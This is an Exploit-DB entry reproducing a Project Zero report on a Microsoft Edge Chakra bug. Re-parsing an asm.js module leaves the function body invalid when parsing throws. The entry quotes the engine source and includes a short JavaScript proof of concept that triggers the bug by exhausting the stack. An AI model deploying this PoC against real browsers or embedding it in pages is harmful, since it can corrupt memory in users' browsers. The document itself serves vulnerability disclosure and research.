Microsoft Edge Chakra - 'JavascriptFunction::ReparseAsmJsModule' Incorrectly Re-parses

EDB-ID:

42766


Platform:

Windows

Published:

2017-09-21

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1327

Here's the method used to re-parse asmjs modules.
void JavascriptFunction::ReparseAsmJsModule(ScriptFunction** functionRef)
{
    ParseableFunctionInfo* functionInfo = (*functionRef)->GetParseableFunctionInfo();
    Assert(functionInfo);
    functionInfo->GetFunctionBody()->AddDeferParseAttribute();
    functionInfo->GetFunctionBody()->ResetEntryPoint();
    functionInfo->GetFunctionBody()->ResetInParams();

    FunctionBody * funcBody = functionInfo->Parse(functionRef);

#if ENABLE_PROFILE_INFO
    // This is the first call to the function, ensure dynamic profile info
    funcBody->EnsureDynamicProfileInfo();
#endif

    (*functionRef)->UpdateUndeferredBody(funcBody);
}

First, it resets the function body and then re-parses it. But it doesn't consider that "functionInfo->Parse(functionRef);" may throw an exception. So in the case, the function body remains reseted(invalid).

We can make it throw an exception simply by exhausting the stack. 

PoC:
-->

function Module() {
    'use asm';

    function f() {
    }

    return f;
}

function recur() {
    try {
        recur();
    } catch (e) {
        Module(1);
    }
}

recur();